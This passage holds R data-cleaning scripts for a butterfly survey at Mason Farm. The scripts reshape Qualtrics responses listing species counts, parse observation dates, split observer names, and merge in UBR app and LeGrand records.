"Pontia.protodice", "Feniseca.tarquinis", "Cupido.comyntas", "Celastrina.neglecta", "Celastrina.ladon","Unknown blue", "Strymon.melinus", "Calycopis.cecrops", "Mitoura.gryneus", "Callophrys.henrici", "Satyrium.calanus", "Atlides.halesus", "Parrhasius.m.album", "Callophrys.niphon", "Satyrium.titus", "Satyrium.favonus", "Satyrium.liparops", "Asterocampa.celtis", "Asterocampa.clyton", "Danaus.plexippus", "Speyeria.cybele", "Euptoieta.claudia", "Agraulis.vanillae", "Libytheana.carinenta", "Limenitis.artemis.astyanax", "Limenitis.archippus", "Phyciodes.tharos", "Junonia.coenia", "Vanessa.atalanta", "Polygonia.interrogationis", "Polygonia.comma", "Nymphalis.antiopa", "Vanessa.virginiensis", "Vanessa.cardui", "Chlosyne.nycteis", "Hermeuptychia.sosybius", "Cyllopsis.gemma", "Megisto.cymela", "Cercyonis.pegala", "Lethe.anthedon", "Lethe.appalachia", "Unknown satyr", "Atalopedes.campestris", "Lerema.accius", "Poanes.zabulon", "Polites.origenes", "Pompeius.verna", "Euphyes.vestris", "Anclyoxypha.numitor", "Wallengrenia otho", "Hylephila.phyleus", "Wallengrenia.egeremet", "Panoquina.ocola", "Nastra.lherminier", "Amblyscirtes.vialis", "Anatrytone.logan", "Atrytonopsis.hianna", "Polites.themistocles", "Euphyes.dion", "Unknown.grass.skipper", "Epargyreus.clarus", "Erynnis.juvenalis", "Erynnis.horatius", "Thorybes.pylades", "Thorybes.bathyllus", "Pyrgus.communis", "Erynnis.brizo", "Urbanus.proteus", "Erynnis.baptisiae", "Erynnis.zarucco", "Unknown.spreadwing.skipper", "unk.sp", "other.sp.name", "other.sp.num","yep1","yep2","yep3","yep4","yep5", "yep6", "yep7") ##reshape from wide to long # might want to change the number of new.row.names based on how many rows (responses) # there are in the data when you download it from Qualtrics. longdat<-reshape(alldat, varying = c("Papilio.glaucus", "Papilio.troilus", "Battus.philenor", "Papilio.polyxenes", "Eurytides.marcellus", "Phoebis.sennae", "Colias.philodice", "Colias.eurythme", "Abaeis.nicippe", "Pyrisita.lisa", "Unknown.sulphur", "Pieris.rapae", "Anthocharis.midea", "Pontia.protodice", "Feniseca.tarquinis", "Cupido.comyntas", "Celastrina.neglecta", "Celastrina.ladon","Unknown blue", "Strymon.melinus", "Calycopis.cecrops", "Mitoura.gryneus", "Callophrys.henrici", "Satyrium.calanus", "Atlides.halesus", "Parrhasius.m.album", "Callophrys.niphon", "Satyrium.titus", "Satyrium.favonus", "Satyrium.liparops", "Asterocampa.celtis", "Asterocampa.clyton", "Danaus.plexippus", "Speyeria.cybele", "Euptoieta.claudia", "Agraulis.vanillae", "Libytheana.carinenta", "Limenitis.artemis.astyanax", "Limenitis.archippus", "Phyciodes.tharos", "Junonia.coenia", "Vanessa.atalanta", "Polygonia.interrogationis", "Polygonia.comma", "Nymphalis.antiopa", "Vanessa.virginiensis", "Vanessa.cardui", "Chlosyne.nycteis", "Hermeuptychia.sosybius", "Cyllopsis.gemma", "Megisto.cymela", "Cercyonis.pegala", "Lethe.anthedon", "Lethe.appalachia", "Unknown satyr", "Atalopedes.campestris", "Lerema.accius", "Poanes.zabulon", "Polites.origenes", "Pompeius.verna", "Euphyes.vestris", "Anclyoxypha.numitor", "Wallengrenia otho", "Hylephila.phyleus", "Wallengrenia.egeremet", "Panoquina.ocola", "Nastra.lherminier", "Amblyscirtes.vialis", "Anatrytone.logan", "Atrytonopsis.hianna", "Polites.themistocles", "Euphyes.dion", "Unknown.grass.skipper", "Epargyreus.clarus", "Erynnis.juvenalis", "Erynnis.horatius", "Thorybes.pylades", "Thorybes.bathyllus", "Pyrgus.communis", "Erynnis.brizo", "Urbanus.proteus", "Erynnis.baptisiae", "Erynnis.zarucco", "Unknown.spreadwing.skipper", "unk.sp", "other.sp.name", "other.sp.num","yep1","yep2","yep3","yep4","yep5", "yep6", "yep7"), v.names="num.indv", timevar="species", times = c("Papilio.glaucus", "Papilio.troilus", "Battus.philenor", "Papilio.polyxenes", "Eurytides.marcellus", "Phoebis.sennae", "Colias.philodice", "Colias.eurythme", "Abaeis.nicippe", "Pyrisita.lisa", "Unknown.sulphur", "Pieris.rapae", "Anthocharis.midea", "Pontia.protodice", "Feniseca.tarquinis", "Cupido.comyntas", "Celastrina.neglecta", "Celastrina.ladon","Unknown blue", "Strymon.melinus", "Calycopis.cecrops", "Mitoura.gryneus", "Callophrys.henrici", "Satyrium.calanus", "Atlides.halesus", "Parrhasius.m.album", "Callophrys.niphon", "Satyrium.titus", "Satyrium.favonus", "Satyrium.liparops", "Asterocampa.celtis", "Asterocampa.clyton", "Danaus.plexippus", "Speyeria.cybele", "Euptoieta.claudia", "Agraulis.vanillae", "Libytheana.carinenta", "Limenitis.artemis.astyanax", "Limenitis.archippus", "Phyciodes.tharos", "Junonia.coenia", "Vanessa.atalanta", "Polygonia.interrogationis", "Polygonia.comma", "Nymphalis.antiopa", "Vanessa.virginiensis", "Vanessa.cardui", "Chlosyne.nycteis", "Hermeuptychia.sosybius", "Cyllopsis.gemma", "Megisto.cymela", "Cercyonis.pegala", "Lethe.anthedon", "Lethe.appalachia", "Unknown satyr", "Atalopedes.campestris", "Lerema.accius", "Poanes.zabulon", "Polites.origenes", "Pompeius.verna", "Euphyes.vestris", "Anclyoxypha.numitor", "Wallengrenia otho", "Hylephila.phyleus", "Wallengrenia.egeremet", "Panoquina.ocola", "Nastra.lherminier", "Amblyscirtes.vialis", "Anatrytone.logan", "Atrytonopsis.hianna", "Polites.themistocles", "Euphyes.dion", "Unknown.grass.skipper", "Epargyreus.clarus", "Erynnis.juvenalis", "Erynnis.horatius", "Thorybes.pylades", "Thorybes.bathyllus", "Pyrgus.communis", "Erynnis.brizo", "Urbanus.proteus", "Erynnis.baptisiae", "Erynnis.zarucco", "Unknown.spreadwing.skipper", "unk.sp", "other.sp.name", "other.sp.num","yep1","yep2","yep3","yep4","yep5", "yep6", "yep7"), direction="long") #make subset of data excluding rows where num.indv=0 longdat2 <- longdat[!(longdat$num.indv == ""), ] <file_sep>/mf_qualtrix_cleaning_MEM.R ##MF Qualtrix cleaning script #by <NAME> #load necessary packages library(readr) library(plyr) library(stringr) library(tidyr) library(lubridate) #load data #before loading data, maybe manually delete the first row of the qualtrix csv. #There should be a way to do this but...naw #this is laura's working directory mf<-read.csv("C:/Users/lhamo/Documents/Biology/mf bflies 2017/qualtrics.data/qualtrics.responses.5.15.2017.csv") ##cleaning data #Gets rid of the first row, which has nonsense import data #(ask elizabeth if this is the same as the aformentioned row deletion) mf<-mf[-1,] #rename columns names(mf)<-c("start.date", "end.date", "response.type", "ip.address", "progress", "duration.sec","finished","recorded.date", "response.id", "recipient.last.name", "recipient.first.name", "recipient.email", "external.data.reference","location.lat", "location.long", "distribution.channel", "observer.name", "number.of.observers", "entry.name", "date.observed", "temp", "conditions", "start", "end", "proficiency", "Papilio.glaucus", "Papilio.troilus", "Battus.philenor", "Papilio.polyxenes", "Eurytides.marcellus", "Phoebis.sennae", "Colias.philodice", "Colias.eurythme", "Abaeis.nicippe", "Pyrisita.lisa", "Unknown.sulphur", "Pieris.rapae", "Anthocharis.midea", "Pontia.protodice", "Feniseca.tarquinis", "Cupido.comyntas", "Celastrina.neglecta", "Celastrina.ladon","Unknown.blue", "Strymon.melinus", "Calycopis.cecrops", "Mitoura.gryneus", "Callophrys.henrici", "Satyrium.calanus", "Atlides.halesus", "Parrhasius.m.album", "Callophrys.niphon", "Satyrium.titus", "Satyrium.favonus", "Satyrium.liparops", "Asterocampa.celtis", "Asterocampa.clyton", "Danaus.plexippus", "Speyeria.cybele", "Euptoieta.claudia", "Agraulis.vanillae", "Libytheana.carinenta", "Limenitis.artemis.astyanax", "Limenitis.archippus", "Phyciodes.tharos", "Junonia.coenia", "Vanessa.atalanta", "Polygonia.interrogationis", "Polygonia.comma", "Nymphalis.antiopa", "Vanessa.virginiensis", "Vanessa.cardui", "Chlosyne.nycteis", "Hermeuptychia.sosybius", "Cyllopsis.gemma", "Megisto.cymela", "Cercyonis.pegala", "Lethe.anthedon", "Lethe.appalachia", "Unknown.satyr", "Atalopedes.campestris", "Lerema.accius", "Poanes.zabulon", "Polites.origenes", "Pompeius.verna", "Euphyes.vestris", "Anclyoxypha.numitor", "Wallengrenia otho", "Hylephila.phyleus", "Wallengrenia.egeremet", "Panoquina.ocola", "Nastra.lherminier", "Amblyscirtes.vialis", "Anatrytone.logan", "Atrytonopsis.hianna", "Polites.themistocles", "Euphyes.dion", "Unknown.grass.skipper", "Epargyreus.clarus", "Erynnis.juvenalis", "Erynnis.horatius", "Thorybes.pylades", "Thorybes.bathyllus", "Pyrgus.communis", "Erynnis.brizo", "Urbanus.proteus", "Erynnis.baptisiae", "Erynnis.zarucco", "Unknown.spreadwing.skipper", "Unknown.species", "other.sp.text.1", "other.sp.num.1", "other.sp.text.2", "other.sp.num.2", "other.sp.text.3", "other.sp.num.3","other.sp.text.4", "other.sp.num.4", "other.sp.text.5", "other.sp.num.5","topics") #remove unknown species columns #we should keep them #but i'm not sure how to reconcile them mf$other.sp.text.1<-NULL mf$other.sp.num.1<-NULL mf$other.sp.text.2<-NULL mf$other.sp.num.2<-NULL mf$other.sp.text.3<-NULL mf$other.sp.num.3<-NULL mf$other.sp.text.4<-NULL mf$other.sp.num.4<-NULL mf$other.sp.text.5<-NULL mf$other.sp.num.5<-NULL mf$topics<-NULL ##gets rid of weird creepy Latin #finds rows that have more than 10 characters and deletes them #set to look for this in date observed column mf<-mf[!nchar(as.character(mf$date.observed))>10,] #splits up observer names and puts into observer 1, observer 2 etc: #gsub replaces the first argument with the second #makes everything uniform in syntax so that str_split_fixed can split the columns. #In this case MEM used "and", and had to finagle the gsubs for the specific syntax of each entry. #can be altered depending on syntax of column. mf$observer.name<- gsub("&", " and",mf$observer.name) mf$observer.name<- gsub(", and", ",",mf$observer.name) mf$observer.name<- gsub(",", " and",mf$observer.name) obs<-str_split_fixed(mf$observer.name, c("and"), 3) mf$obs1<-obs[,1] mf$obs2<-obs[,2] mf$obs3<-obs[,3] ##get initials for each observer #make an object that has the first observer (obs object, column 1) #and split the names into first and last using strsplit and a space ("") as the separator #then use the sapply and function part to collapse into the first character #and the toupper makes them all upper case s <- strsplit(obs[,1], " ") mf$obs1.in<- sapply(s, function(x){ toupper(paste(substring(x, 1, 1), collapse = "")) }) k<-strsplit(obs[,2], " ") mf$obs2.in<- sapply(k, function(x){ toupper(paste(substring(x, 1, 1), collapse = "")) }) l<-strsplit(obs[,2], " ") mf$obs3.in<- sapply(l, function(x){ toupper(paste(substring(x, 1, 1), collapse = "")) }) mf$obs1.in ##formatting the date columns #using parse_date_time returns a POSIX class #and automatically assigns coordinated universal time. #You have to assign east coast time zone with 'tz+"America/New_York"' #If you convert to date class, you lose time- there should be a way around this #but mem hasn't found it yet. #might be ok to stay in POSX, as there are some handy ways to extract info from columns within class. mf$start.date<-parse_date_time(mf$start.date,orders='mdy_HM',tz="America/New_York") mf$end.date<-parse_date_time(mf$end.date,orders='mdy_HM',tz="America/New_York") mf$recorded.date<-parse_date_time(mf$recorded.date,orders='mdy_HM',tz="America/New_York") #have to eliminate non-date values for this last one. yeahI know there's a quicker way mf$date.observed[mf$date.observed == "d"] <- NA mf$date.observed[mf$date.observed=="test"] <- NA mf$date.observed[mf$date.observed==""] <- NA mf$date.observed<-parse_date_time(mf$date.observed,orders='mdy') #creates a column with just the year of observation mf$year<-year(mf$date.observed) mf$year #creates a column with only the month #can do as a number #or use the argument 'label=TRUE' #and it will give back the character month name mf$month<-month(mf$date.observed,label = TRUE) mf$month ##reshape from wide to long # might want to change the number of new.row.names based on how many rows (responses) # there are in the data when you download it from Qualtrics. longdat<-reshape(mf, varying = c("Papilio.glaucus", "Papilio.troilus", "Battus.philenor", "Papilio.polyxenes", "Eurytides.marcellus", "Phoebis.sennae", "Colias.philodice", "Colias.eurythme", "Abaeis.nicippe", "Pyrisita.lisa", "Unknown.sulphur", "Pieris.rapae", "Anthocharis.midea", "Pontia.protodice", "Feniseca.tarquinis", "Cupido.comyntas", "Celastrina.neglecta", "Celastrina.ladon","Unknown.blue", "Strymon.melinus", "Calycopis.cecrops", "Mitoura.gryneus", "Callophrys.henrici", "Satyrium.calanus", "Atlides.halesus", "Parrhasius.m.album", "Callophrys.niphon", "Satyrium.titus", "Satyrium.favonus", "Satyrium.liparops", "Asterocampa.celtis", "Asterocampa.clyton", "Danaus.plexippus", "Speyeria.cybele", "Euptoieta.claudia", "Agraulis.vanillae", "Libytheana.carinenta", "Limenitis.artemis.astyanax", "Limenitis.archippus", "Phyciodes.tharos", "Junonia.coenia", "Vanessa.atalanta", "Polygonia.interrogationis", "Polygonia.comma", "Nymphalis.antiopa", "Vanessa.virginiensis", "Vanessa.cardui", "Chlosyne.nycteis", "Hermeuptychia.sosybius", "Cyllopsis.gemma", "Megisto.cymela", "Cercyonis.pegala", "Lethe.anthedon", "Lethe.appalachia", "Unknown.satyr", "Atalopedes.campestris", "Lerema.accius", "Poanes.zabulon", "Polites.origenes", "Pompeius.verna", "Euphyes.vestris", "Anclyoxypha.numitor", "Wallengrenia otho", "Hylephila.phyleus", "Wallengrenia.egeremet", "Panoquina.ocola", "Nastra.lherminier", "Amblyscirtes.vialis", "Anatrytone.logan", "Atrytonopsis.hianna", "Polites.themistocles", "Euphyes.dion", "Unknown.grass.skipper", "Epargyreus.clarus", "Erynnis.juvenalis", "Erynnis.horatius", "Thorybes.pylades", "Thorybes.bathyllus", "Pyrgus.communis", "Erynnis.brizo", "Urbanus.proteus", "Erynnis.baptisiae", "Erynnis.zarucco", "Unknown.spreadwing.skipper", "Unknown.species"), v.names="num.indv", timevar="species", times = c("Papilio.glaucus", "Papilio.troilus", "Battus.philenor", "Papilio.polyxenes", "Eurytides.marcellus", "Phoebis.sennae", "Colias.philodice", "Colias.eurythme", "Abaeis.nicippe", "Pyrisita.lisa", "Unknown.sulphur", "Pieris.rapae", "Anthocharis.midea", "Pontia.protodice", "Feniseca.tarquinis", "Cupido.comyntas", "Celastrina.neglecta", "Celastrina.ladon","Unknown.blue", "Strymon.melinus", "Calycopis.cecrops", "Mitoura.gryneus", "Callophrys.henrici", "Satyrium.calanus", "Atlides.halesus", "Parrhasius.m.album", "Callophrys.niphon", "Satyrium.titus", "Satyrium.favonus", "Satyrium.liparops", "Asterocampa.celtis", "Asterocampa.clyton", "Danaus.plexippus", "Speyeria.cybele", "Euptoieta.claudia", "Agraulis.vanillae", "Libytheana.carinenta", "Limenitis.artemis.astyanax", "Limenitis.archippus", "Phyciodes.tharos", "Junonia.coenia", "Vanessa.atalanta", "Polygonia.interrogationis", "Polygonia.comma", "Nymphalis.antiopa", "Vanessa.virginiensis", "Vanessa.cardui", "Chlosyne.nycteis", "Hermeuptychia.sosybius", "Cyllopsis.gemma", "Megisto.cymela", "Cercyonis.pegala", "Lethe.anthedon", "Lethe.appalachia", "Unknown.satyr", "Atalopedes.campestris", "Lerema.accius", "Poanes.zabulon", "Polites.origenes", "Pompeius.verna", "Euphyes.vestris", "Anclyoxypha.numitor", "Wallengrenia otho", "Hylephila.phyleus", "Wallengrenia.egeremet", "Panoquina.ocola", "Nastra.lherminier", "Amblyscirtes.vialis", "Anatrytone.logan", "Atrytonopsis.hianna", "Polites.themistocles", "Euphyes.dion", "Unknown.grass.skipper", "Epargyreus.clarus", "Erynnis.juvenalis", "Erynnis.horatius", "Thorybes.pylades", "Thorybes.bathyllus", "Pyrgus.communis", "Erynnis.brizo", "Urbanus.proteus", "Erynnis.baptisiae", "Erynnis.zarucco", "Unknown.spreadwing.skipper", "Unknown.species"), new.row.names=1:4165, #i know there's a way to make an arbitrary end direction="long") #it would be good to reorder the columns now #and to maybe put the ones we don't like at the end #or to eliminate them completely #write the cleaned data frame to a csv file #row.names=FALSE prevents it from having an extra row with just numbers. #spits out the csv in whatever folder the working directory is set. #This is laura's working directory write.csv(mf,file="C:/Users/lhamo/Documents/Biology/mf bflies 2017/qualtrics.data/qualtrics.responses.long.5.16.2017.csv",row.names=FALSE) <file_sep>/mf_qualtrics_cleaning.R ##MF Qualtrix cleaning script #by <NAME>, <NAME>, and <NAME> #################################################################################### ################LOAD AND CLEAN QUALTRICS DATA #################################################################################### #load necessary packages library(readr) library(plyr) library(stringr) library(tidyr) library(lubridate) #load latest version of qualtrics data #this is based on laura's working directory. change as needed. mf<-read.csv("C:/Users/lhamo/Documents/Biology/mf bflies 2017/qualtrics.data/qualtrics.responses.12.12.2018.csv") #Get rid of the first two rows, which has nonsense import data and extraneous variable names mf<-mf[-1:-2,] #rename columns so that they're easier to work with names(mf)<-c("startDate", "endDate", "status", "ipAddress", "progress", "durationInSeconds","finished","recordedDate", "responseId", "recipientLastName", "recipientFirstName", "recipientEmail", "externalDataReference","locationLatitude", "locationLongitude", "distributionChannel", "userLanguage", "observerName", "numberObservers", "dataEntererName", "dateObserved", "temperature", "siteConditions", "startTime", "endTime", "experienceLevel", "Papilio.glaucus", "Papilio.troilus", "Battus.philenor", "Papilio.polyxenes", "Eurytides.marcellus", "Phoebis.sennae", "Colias.philodice", "Colias.eurytheme", "Abaeis.nicippe", "Pyrisita.lisa", "Unknown.sulphur", "Pieris.rapae", "Anthocharis.midea", "Pontia.protodice", "Feniseca.tarquinius", "Cupido.comyntas", "Celastrina.neglecta", "Celastrina.ladon","Unknown.blue", "Strymon.melinus", "Calycopis.cecrops", "Mitoura.gryneus", "Callophrys.henrici", "Satyrium.calanus", "Atlides.halesus", "Parrhasius.m.album", "Callophrys.niphon", "Satyrium.titus", "Satyrium.favonus", "Satyrium.liparops", "Asterocampa.celtis", "Asterocampa.clyton", "Danaus.plexippus", "Speyeria.cybele", "Euptoieta.claudia", "Agraulis.vanillae", "Libytheana.carinenta", "Limenitis.arthemis.astyanax", "Limenitis.archippus", "Phyciodes.tharos", "Junonia.coenia", "Vanessa.atalanta", "Polygonia.interrogationis", "Polygonia.comma", "Nymphalis.antiopa", "Vanessa.virginiensis", "Vanessa.cardui", "Chlosyne.nycteis", "Hermeuptychia.sosybius", "Cyllopsis.gemma", "Megisto.cymela", "Cercyonis.pegala", "Enodia.anthedon", "Satyrodes.appalachia", "Unknown.satyr", "Atalopedes.campestris", "Lerema.accius", "Poanes.zabulon", "Polites.origenes", "Pompeius.verna", "Euphyes.vestris", "Anclyoxypha.numitor", "Wallengrenia otho", "Hylephila.phyleus", "Wallengrenia.egeremet", "Panoquina.ocola", "Nastra.lherminier", "Amblyscirtes.vialis", "Anatrytone.logan", "Atrytonopsis.hianna", "Polites.themistocles", "Euphyes.dion", "Unknown.grass.skipper", "Epargyreus.clarus", "Erynnis.juvenalis", "Erynnis.horatius", "Thorybes.pylades", "Thorybes.bathyllus", "Pyrgus.communis", "Erynnis.brizo", "Urbanus.proteus", "Erynnis.baptisiae", "Erynnis.zarucco", "Unknown.spreadwing.skipper", "Unknown.species", "other.sp.text.1", "other.sp.num.1", "other.sp.text.2", "other.sp.num.2", "other.sp.text.3", "other.sp.num.3","other.sp.text.4", "other.sp.num.4", "other.sp.text.5", "other.sp.num.5","topics") #Get rid of test surveys entered with fake names mf<-mf[ ! mf$observerName %in% c("Test 1","test 2","<NAME>","foo", "<NAME>","yo","test","Beck in 1995","Beck","beck","d"), ] #finds rows that have more than 10 characters in the date column and deletes them #to remove Lorem ipsum mf<-mf[!nchar(as.character(mf$dateObserved))>10,] #remove "other" columns for now #we should keep them #but i'm not sure how to reconcile them mf<-mf[-c(112:122)] #splits up observer names and puts into observer 1, observer 2 etc: #gsub replaces the first argument with the second #makes everything uniform in syntax so that str_split_fixed can split the columns. #In this case MEM used "and", and had to finagle the gsubs for the specific syntax of each entry. #can be altered depending on syntax of column. mf$observerName<- gsub("&", " and",mf$observerName) mf$observerName<- gsub(", and", ",",mf$observerName) mf$observerName<- gsub(",", " and",mf$observerName) obs<-str_split_fixed(mf$observerName, c("and"), 3) mf$obs1<-obs[,1] mf$obs2<-obs[,2] mf$obs3<-obs[,3] ##get initials for each observer #make an object that has the first observer (obs object, column 1) #and split the names into first and last using strsplit and a space ("") as the separator #then use the sapply and function part to collapse into the first character #and the toupper makes them all upper case s <- strsplit(obs[,1], " ") mf$obs1.in<- sapply(s, function(x){ toupper(paste(substring(x, 1, 1), collapse = "")) }) k<-strsplit(obs[,2], " ") mf$obs2.in<- sapply(k, function(x){ toupper(paste(substring(x, 1, 1), collapse = "")) }) l<-strsplit(obs[,2], " ") mf$obs3.in<- sapply(l, function(x){ toupper(paste(substring(x, 1, 1), collapse = "")) }) mf$obs1.in ##formatting the date columns #First, let's fix an early entry that lists the year as "216". This will fail to parse otherwise levels(mf$dateObserved)[match("08/21/216",levels(mf$dateObserved))] <- "08/21/2016" #convert to date-time object mf$dateObserved<-parse_date_time(mf$dateObserved,orders='mdy') #it will say that '1 failed to parse'. This is because this date is missing on one entry. #creates a column with just the year of observation mf$year<-year(mf$dateObserved) #creates a column with only the month #can do as a number #or use the argument 'label=TRUE' #and it will give back the character month name mf$month<-month(mf$dateObserved,label = TRUE) ##reshape from wide to long, varying around species names longdat<-reshape(mf, varying = c("Papilio.glaucus", "Papilio.troilus", "Battus.philenor", "Papilio.polyxenes", "Eurytides.marcellus", "Phoebis.sennae", "Colias.philodice", "Colias.eurythme", "Abaeis.nicippe", "Pyrisita.lisa", "Unknown.sulphur", "Pieris.rapae", "Anthocharis.midea", "Pontia.protodice", "Feniseca.tarquinius", "Cupido.comyntas", "Celastrina.neglecta", "Celastrina.ladon","Unknown.blue", "Strymon.melinus", "Calycopis.cecrops", "Mitoura.gryneus", "Callophrys.henrici", "Satyrium.calanus", "Atlides.halesus", "Parrhasius.m.album", "Callophrys.niphon", "Satyrium.titus", "Satyrium.favonus", "Satyrium.liparops", "Asterocampa.celtis", "Asterocampa.clyton", "Danaus.plexippus", "Speyeria.cybele", "Euptoieta.claudia", "Agraulis.vanillae", "Libytheana.carinenta", "Limenitis.arthemis.astyanax", "Limenitis.archippus", "Phyciodes.tharos", "Junonia.coenia", "Vanessa.atalanta", "Polygonia.interrogationis", "Polygonia.comma", "Nymphalis.antiopa", "Vanessa.virginiensis", "Vanessa.cardui", "Chlosyne.nycteis", "Hermeuptychia.sosybius", "Cyllopsis.gemma", "Megisto.cymela", "Cercyonis.pegala", "Enodia.anthedon", "Satyrodes.appalachia", "Unknown.satyr", "Atalopedes.campestris", "Lerema.accius", "Poanes.zabulon", "Polites.origenes", "Pompeius.verna", "Euphyes.vestris", "Anclyoxypha.numitor", "Wallengrenia otho", "Hylephila.phyleus", "Wallengrenia.egeremet", "Panoquina.ocola", "Nastra.lherminier", "Amblyscirtes.vialis", "Anatrytone.logan", "Atrytonopsis.hianna", "Polites.themistocles", "Euphyes.dion", "Unknown.grass.skipper", "Epargyreus.clarus", "Erynnis.juvenalis", "Erynnis.horatius", "Thorybes.pylades", "Thorybes.bathyllus", "Pyrgus.communis", "Erynnis.brizo", "Urbanus.proteus", "Erynnis.baptisiae", "Erynnis.zarucco", "Unknown.spreadwing.skipper"), v.names="num.indv", timevar="species", times = c("Papilio.glaucus", "Papilio.troilus", "Battus.philenor", "Papilio.polyxenes", "Eurytides.marcellus", "Phoebis.sennae", "Colias.philodice", "Colias.eurythme", "Abaeis.nicippe", "Pyrisita.lisa", "Unknown.sulphur", "Pieris.rapae", "Anthocharis.midea", "Pontia.protodice", "Feniseca.tarquinius", "Cupido.comyntas", "Celastrina.neglecta", "Celastrina.ladon","Unknown.blue", "Strymon.melinus", "Calycopis.cecrops", "Mitoura.gryneus", "Callophrys.henrici", "Satyrium.calanus", "Atlides.halesus", "Parrhasius.m.album", "Callophrys.niphon", "Satyrium.titus", "Satyrium.favonus", "Satyrium.liparops", "Asterocampa.celtis", "Asterocampa.clyton", "Danaus.plexippus", "Speyeria.cybele", "Euptoieta.claudia", "Agraulis.vanillae", "Libytheana.carinenta", "Limenitis.arthemis.astyanax", "Limenitis.archippus", "Phyciodes.tharos", "Junonia.coenia", "Vanessa.atalanta", "Polygonia.interrogationis", "Polygonia.comma", "Nymphalis.antiopa", "Vanessa.virginiensis", "Vanessa.cardui", "Chlosyne.nycteis", "Hermeuptychia.sosybius", "Cyllopsis.gemma", "Megisto.cymela", "Cercyonis.pegala", "Enodia.anthedon", "Satyrodes.appalachia", "Unknown.satyr", "Atalopedes.campestris", "Lerema.accius", "Poanes.zabulon", "Polites.origenes", "Pompeius.verna", "Euphyes.vestris", "Anclyoxypha.numitor", "Wallengrenia otho", "Hylephila.phyleus", "Wallengrenia.egeremet", "Panoquina.ocola", "Nastra.lherminier", "Amblyscirtes.vialis", "Anatrytone.logan", "Atrytonopsis.hianna", "Polites.themistocles", "Euphyes.dion", "Unknown.grass.skipper", "Epargyreus.clarus", "Erynnis.juvenalis", "Erynnis.horatius", "Thorybes.pylades", "Thorybes.bathyllus", "Pyrgus.communis", "Erynnis.brizo", "Urbanus.proteus", "Erynnis.baptisiae", "Erynnis.zarucco", "Unknown.spreadwing.skipper"), direction="long") row.names(longdat)=1:nrow(longdat) #remove nas from spp columns otherwise they're counted as an entry #you should see the number of observations drop precipitously after this step longdat$num.indv<-sapply(longdat$num.indv, function(f){is.na(f)<-which(f == '');f}) #first convert blanks to NAs removenas <- function(data, desiredCols) { completeVec <- complete.cases(data[, desiredCols]) return(data[completeVec, ]) } longdat<-removenas(longdat,"num.indv")#drop rows with NA in num.indv column #if desired, the qualtrics data can be exported and examined at this point #for end-of-year statistics #################################################################################### ################ADDING THE UBR DATA TO THE QUALTRICS DATA ################UBR DATA INCLUDES DATA COLLECTED BY <NAME> IN 2016 USING THE UBR APP #################################################################################### #adding in the ubr dat #load UBR files ubr.folder <- "C:/Users/lhamo/Documents/Biology/mf bflies 2017/ubr.data/" # path to folder that holds multiple .csv files file_list <- list.files(path=ubr.folder, pattern="*.csv") # create list of all .csv files in folder ubr.dat <- do.call("rbind", lapply(file_list, function(x)read.csv(paste(ubr.folder, x, sep=''), stringsAsFactors = FALSE))) #for cloudapp, we only need a few variables as follows: #family, subfamily_sci, subfamily_common, sciName, comName, BAMONA, #date.observed, number, observer,year, month, day, location, source, image #therefore, we could save some time by keeping only columns we need in both ubr and mf dat #subset ubr.dat to relevant variables ubr.vars <- c("speciesCommon", "speciesScientific", "subfamilyCommon", "subfamilyScientific", "number", "time.date") ubr <- ubr.dat[ubr.vars] #rename ubr columns to match names(ubr)<-c("comName", "sciName","subfamily_common", "subfamily_sci", "number", "date.observed") #subset mf dat to relevant variables qualtrics.vars <- c("observerName", "dateObserved","species", "num.indv") qualtrics <- longdat[qualtrics.vars] #rename mf columns to match names(qualtrics) <- c("observer", "date.observed", "sciName", "number") #add columns to ubr to make it match mf #might as well specify that the observer is Kati every time for this data ubr["observer"] = "<NAME>" ubr["source"] = "ubr" #specify data source #add columns to mb to make it match ubr qualtrics["comName"] = "" qualtrics["subfamily_common"] = "" qualtrics["subfamily_sci"] = "" qualtrics["source"] = "qualtrics" #specify data source #let's make sure our data types are uniform ubr$date.observed<-parse_date_time(ubr$date.observed,orders='ymd') #let's bind the ubr and qualtrics dat fulldat1 <- rbind (ubr, qualtrics) #create year, month, and day #convert to date-time object #creates a column with just the year of observation fulldat1$year<-year(fulldat1$date.observed) #creates a column with only the month (numeric) fulldat1$month<-month(fulldat1$date.observed) #creates a column with only the day fulldat1$day<-day(fulldat1$date.observed) #make species names up-to-date (ubr data specifically) fulldat1$sciName<- gsub("Eurema nicippe", "Abaeis nicippe", fulldat1$sciName) fulldat1$sciName<- gsub("Eurema lisa", "Pyrisita lisa", fulldat1$sciName) fulldat1$sciName<- gsub("Limenitis arthemis", "Limenitis arthemis astyanax", fulldat1$sciName) fulldat1$sciName<- gsub("Everes comyntas", "Cupido comyntas", fulldat1$sciName) fulldat1$sciName<- gsub("ancyloxpha numitor", "Ancyloxypha numitor", fulldat1$sciName) fulldat1$sciName<- gsub("enodia anthedon", "Enodia anthedon", fulldat1$sciName) #Capitalize that first letter #This is a function to do that. capFirst <- function(s) { paste(toupper(substring(s, 1, 1)), substring(s, 2), sep = "") } fulldat1$sciName <- capFirst(fulldat1$sciName) #replace period w/ space fulldat1$sciName<-gsub('[.]', " ", fulldat1$sciName) #make location Mason Farm fulldat1["location"] = "mf" #################################################################################### ################ADDING IN LEGRAND AND 2015 HAMON DATA #################################################################################### #This addds pre-project LeGrand data, as well as data collected by Laura in 2015 #I am cheating a little bit, and using a pre-cleaned data set ("legrand_hamon_ONLY.csv"), #assuming this data is more-or-less static. #Conceivably one could make a script that pulls observations from the yearly butterfly approx. #which mention "Mason Farm" as the location. #This will have to do for now. #The version of the data right before the cloudapp has certain data that fulldat1 #doesn't have, like family names and BAMONA links #to rectify this, I've made a document with those things filled in #to merge into fulldat1 #load document with links. This directory is Laura's but it's also in the Drive speciesfacts<-read.csv("C:/Users/lhamo/Documents/Biology/mf bflies 2017/qualtrics.data/species.BAMONA.links.7.26.2021.csv") fulldat1facts <- merge(fulldat1,speciesfacts,by="sciName") #some columns have been doubled in the merge. let's keep the ones we need fulldat1facts.vars <- c("sciName", "number", "date.observed", "observer", "source", "year", "month", "day", "location", "family", "subfamily_sci.y", "subfamily_common.y", "comName.y", "BAMONA", "image") fulldat1facts <- fulldat1facts[fulldat1facts.vars] #rename the columns (to get rid of the "y"s) names(fulldat1facts)<-c("sciName", "number", "date.observed", "observer", "source", "year", "month", "day", "location", "family", "subfamily_sci", "subfamily_common", "comName", "BAMONA", "image") #load legrand/hamon data. This directory is Laura's but it's also in the Drive legrand<-read.csv("C:/Users/lhamo/Documents/Biology/mf bflies 2017/qualtrics.data/legrand.hamon.ONLY.7.26.2021.csv") #we need to convert the date in legrand to a...date 